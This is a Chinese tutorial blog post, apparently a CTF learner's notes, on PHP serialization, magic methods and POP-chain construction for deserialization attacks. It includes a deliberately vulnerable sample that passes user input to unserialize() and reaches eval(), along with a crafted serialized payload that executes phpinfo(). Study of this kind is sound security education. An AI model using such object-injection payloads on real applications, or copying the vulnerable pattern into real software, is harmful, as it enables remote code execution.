| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> 反序列化学习之PHP反序列化&POP链构造 -> 正文阅读 |
|
[PHP知识库]反序列化学习之PHP反序列化&POP链构造 |
反序列化学习(一)前言反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。 反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各种情况下。 总结一下:
其实我对序列化漏洞的学习也仅仅处于一知半解的程度,在这里也只是想借总结的形式发现自己的不足,完成一下之前刷题的时候偷懒没有完成的复现,如果出现不恰当、错误的地方,希望各位大佬指正。 序列化和反序列化几乎每一篇反序列化漏洞的讲解都是从这里开始的,我这里当然也不能例外,但是我想在这里添加一部分的面向对象编程的内容。 通过JSON理解序列化与反序列化 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。JSON采用完全独立于语言的文本格式,这些特性使JSON成为理想的数据交换语言。易于人阅读和编写,同时也易于机器解析和生成。 我们可以通过这样的简单代码生成JSON: <?PHP ? $arr = array("First"=>"WHOAMI","Second"=>"bigcat","Third"=>"sp4c1ous"); echo json_encode($arr); ? ?> 我们可以很容易的发现,这里其实是一个二维的数组,但是当我们通过JSON加密之后,它就变成了下面这个样子: 它变成了一串由 这样的格式不仅易于在函数间传输(就像是我们平时的压缩文件),而且具有较高的可读性。那么这种将原本的数据通过某种手段进行“压缩”,并且按照一定的格式存储的过程就可以称之为序列化。 PHP中的序列化 PHP 支持通过 为什么需要这样呢? 我们把一个实例化的对象长久地存储在了计算机的磁盘上,无论什么时候调用都能恢复原来的样子,这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化。 这里就涉及到面向对象编程的一些内容了。
面向对象编程中最核心的概念就是类(Class)和对象(Object),类是对象的抽象模板,而对象是类的具体实例,比如「Laravel 精品课」是一个课程,那么课程就是一个类,而「Laravel 精品课」是这个类的一个实例对象,对象包含的数据称之为类属性(Property),操作数据的函数称之为类方法(Method),还有相关的访问控制,而这些内容在PHP中找到的容身之所,就是序列化。 写一个简单的示例: <?PHP ? class Car { ? ?const WHEELS = 4; ? // 汽车都是4个轮子 ? ?var $seats; ? ? ? ? // 座位 ? ?var $doors; ? ? ? ? // 门 ? ?var $engine; ? ? ? ?// 发动机 ? ?var $brand; ? ? ? ? // 品牌 ? ? ?public function getBrand() ? { ? ? ? ?return $this->brand; ? } ? ? ?public function setBrand($brand): void ? { ? ? ? ?$this->brand = $brand; ? } ? ? ?public function drive() ? { ? ?echo "1.启动引擎..." . PHP_EOL; ? ?echo "2.挂D档..." . PHP_EOL; ? ?echo "3.放下手刹..." . PHP_EOL; ? ?echo "4.踩油门,出发..." . PHP_EOL; ? } ? ? ?public function close() ? { ? ?echo "1.踩刹车..." . PHP_EOL; ? ?echo "2.挂P档..." . PHP_EOL; ? ?echo "3.拉起手刹..." . PHP_EOL; ? ?echo "4.关闭引擎..." . PHP_EOL; ? } } ? $car = new Car(); var_dump(Car::WHEELS); ? $car->seats = 5; var_dump($car->seats); ? $car->setBrand("奔驰"); var_dump($car->getBrand()); ? $car->drive(); $car->close(); ? $a = serialize($car); echo $a; ?> ? //O:3:"Car":4:{s:5:"seats";i:5;s:5:"doors";N;s:6:"engine";N;s:5:"brand";s:6:"奔驰";} 类通过关键字 这里我们通过 有了属性之后,可以通过方法进行设置和获取,即上面的set和get。 除此之外,还可以编写其他自定义方法,比如汽车的最基本功能 —— 开车,我们为此定义一个 有了这些基本的类属性和方法后,就可以基于这个类创建具体的对象并调用对象方法执行任务了,我们通常将基于类创建对象的过程称之为实例化,在 PHP 中,我们通过 $car = new Car(); 然后就可以操作类属性或者调用类方法了,类常量值不可更改,只能访问,在类外面访问类常量,需要通过类名 + var_dump(Car::WHEELS); 由于常量是类级别的,无需实例化即可访问。而对于对象级别的类属性(变量类型),需要通过实例化后的对象才能访问,并且访问之前,需要先设置: $car->seats = 5; var_dump($car->seats); 当然,如果提供了 Setters/Getters 方法,可以通过这些方法进行设置/获取,从而屏蔽实现细节: $car->setBrand("奔驰"); var_dump($car->getBrand()); 要访问类方法,直接通过对象实例 + $car->drive(); $car->close(); 可以看到,在 PHP 中,对象级别的属性和方法,都是通过箭头符 上述所有代码的打印结果如下: 上面这些最基础的方法和属性的调用,是将来在反序列化题目中极为常见的,一开始的我什么都看不明白,只能跟着writeup瞎猜,现在想想,只有学了一定的面向对象编程,才能让我们对反序列化漏洞的认识清晰一点。 那么现在我们可以序列化 然后
可以看到输出的是Car类中有四对 可以发现,我们原来定义的不止这些,还有我们的类方法,甚至那个常量(这里也是我没看到过的...), 都没有在序列化后的结果中输出 我们可以据此得到一个很重要的性质: 序列化他只序列化属性,不序列化方法 这个性质就引出了两个非常重要的话题: 1. 我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在 这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。 2. 我们在反序列化攻击的时候也就是依托类属性进行攻击 因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象) 我们还需要格外关注一个小知识点 ↓ 访问控制在序列化中的输出 PHP 通过
这也是面向对象编程的内容,与类的继承有关,继承在这里可能写不到了,需要自己去学习。 我们之前通过 序列化是要输出属性的,那这三种不同类别的属性它当然也要区分得开~ 写一段测试代码 <?PHP ? class Test { public $public = 'sp4c1ous'; protected $protected = 'sp4c1ous'; private $private = 'sp4c1ous'; } ? $test = new Test(); $a = serialize($test); echo $a; ?> 输出结果是这样的: 我们来依次解析一下:
这里直接看是看不出来的,可以 我们后续的攻击中,像是反序列化字符逃逸,对于字符的要求非常严格,如果把握不好字符数是很容易出错的,这里作为PHP序列化的一个补充知识点。 PHP中的反序列化 刚才已经提过了,PHP中的反序列化就是通过 但是通过前文我们已经知道了,序列化之序列化了属性,所以反序列化也只会把序列化中的属性反序列化 。 写个例子反序列化一下刚刚的car吧 在最后写个这(竟然echo不出来...): $a = serialize($car); $b = unserialize($a); print_r($b); 可以看到就是我们可以在序列化中读出来的几个属性和值。 那么如果我们更改了序列化中的属性,输出的结果不就改变了么~ 被拿下了真实的操作中不会这么的轻易,需要分析魔术方法进行POP链构造等一系列的工作,但是从本质上看,我们就是在控制它的属性,和这里无异。 PHP反序列化漏洞1.概念解释: PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,我觉得这个表达很不直白,也不能说明根本的问题,不如我们叫他 PHP 对象的属性篡改漏洞好了~ 反序列化漏洞的成因在于代码中的 2.魔术方法 ※ 重点来了: PHP: 魔术方法 - Manual 这是PHP手册中对魔术方法的解释。
$a = new test('test.txt', 'data'); __set() 被调用$a->var = 1; __get() 被调用echo $a->var; __isset() 被调用var_dump(isset($a->var)); __unset() 被调用unset($a->var); var_dump(isset($a->var)); echo "\n"; 输出结果为: ![image.png](https://b3logfile.com/siyuan/1621238442570/assets/image-20211003153053-6r6njhv.png) 主要还是好好读读文档,这一部分再题目中其实也不太常用。 4. `__call()` `__callStatic()`和上面类似,为方法重载 ![image.png](https://b3logfile.com/siyuan/1621238442570/assets/image-20211003153541-gre5r8d.png) 类似以上介绍过的`__set()`和`__get()`,刚刚是访问不存在或者不可访问属性时候进行的调用。现在是访问不存在或者不可访问的方法时候,就不放那么多代码占空了。 5. `__sleep()` `__wakeup()` 这里是对于反序列化漏洞利用非常重要的两个方法 ![image.png](https://b3logfile.com/siyuan/1621238442570/assets/image-20211003153909-4fd3qcm.png) ```php <? class test { private $flag = ''; # 用于保存重载的数据 private $data = array(); public $filename = ''; public $content = ''; function __construct($filename, $content) { $this->filename = $filename; $this->content = $content; echo 'construct function in test class'; echo "<br>"; } function __destruct() { echo 'destruct function in test class'; echo "<br>"; } # 反序列化时候触发 function __wakeup() { // file_put_contents($this->filename, $this->data); echo 'wakeup function in test class'; echo "<br>"; } # 一般情况用在序列化操作时候,用于保留数据 function __sleep() { echo 'sleep function in test class'; echo "<br>"; return array('flag', 'filename', 'data'); } public function set_flag($flag) { $this->flag = $flag; } public function get_flag() { return $this->flag; } } $key = serialize(new test('test.txt', 'test')); var_dump($key); $b = unserialize($key); print_r($b); 返回结果如下,可以看到是先
3.为什么要提到这些魔法方法? 在我们的攻击中,反序列化函数 但是我们又知道,你反序列化了其他的类对象以后 我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔术方法。 正如上面介绍的,魔术方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔术方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。 4.利用魔术方法的攻击示例 假设有这样一段代码 <?php class sp4c1ous { private $test; public $sp4c1ous = "i am sp4c1ous"; function __construct() { $this->test = new sdpc(); } function __destruct() { $this->test->action(); } } class sdpc { function action() { echo "Welcome to sdpcsec"; } } class Evil { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']); 让我们先来审计一下这一段代码,这个代码有三个类,分别为sp4c1ous、sdpc、Evil。其中,sdpc是一个简单的echo输出没有被调用,Evil倒是一个恶意的代码执行但是也没有被调用,我们重点来审计一下sdpc这个类。 它有两个魔术方法,第一个 那么思路就是:我们需要将 sp4c1ous 这个类中的 <?php class sp4c1ous { private $test; function __construct() { $this->test = new Evil; } } class Evil { var $test2 = "phpinfo();"; } $sp4c1ous = new sp4c1ous; $data = serialize($sp4c1ous); //O:8:"sp4c1ous":1:{s:14:"%00sp4c1ous%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}} 我们去除了一切与我们要篡改的属性无关的内容 传入 就可以看到结果啦 还是要注意一下那里的访问控制,我们生成的payload直接复制是复制不下来 通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程
POP 链的介绍找POP链 这是 整个反序列化漏洞中,最容易让人产生快感的一个部分,像极了高达、拼图、乐高、魔方... 诸如此类 玩过 pwn 的同学应该对 ROP 并不陌生,ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者 内存环境里已经存在的 、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的 POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的 说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的~ 实战举例 当然这个案例里面似乎少了比较关键的 unserialize() 函数,那我们就假设这个 unserialize() 在我们的第一张图片的里面,并且参数完全可控 这是看K0rz3n师傅讲PHP序列化的时候他给出的例子,有点老旧了,但是因为比较清晰,所以这里还是选择再尝试自己分析一遍这个链来呈现一下POP链,当然这样给你相应部分和你真正审计起源码包来还是不一样的,想要真的做出题来还是要继续下苦功夫啊。。 思路:
开始顺着这个思路打一下。
这样看起来就很清晰了,环环相扣的感觉也是非常的棒。 到这里这一篇就结束了,后续会补充一些题目的练习(我练习),之后会对PHP反序列化进行一些补充,像是phar、session,然后再进行python反序列化和.net反序列化的学习 参考文章: 一篇文章带你深入理解漏洞之 PHP 反序列化漏洞 | K0rz3n's Blog |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 | -2024/12/28 13:39:27- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |
数据统计 |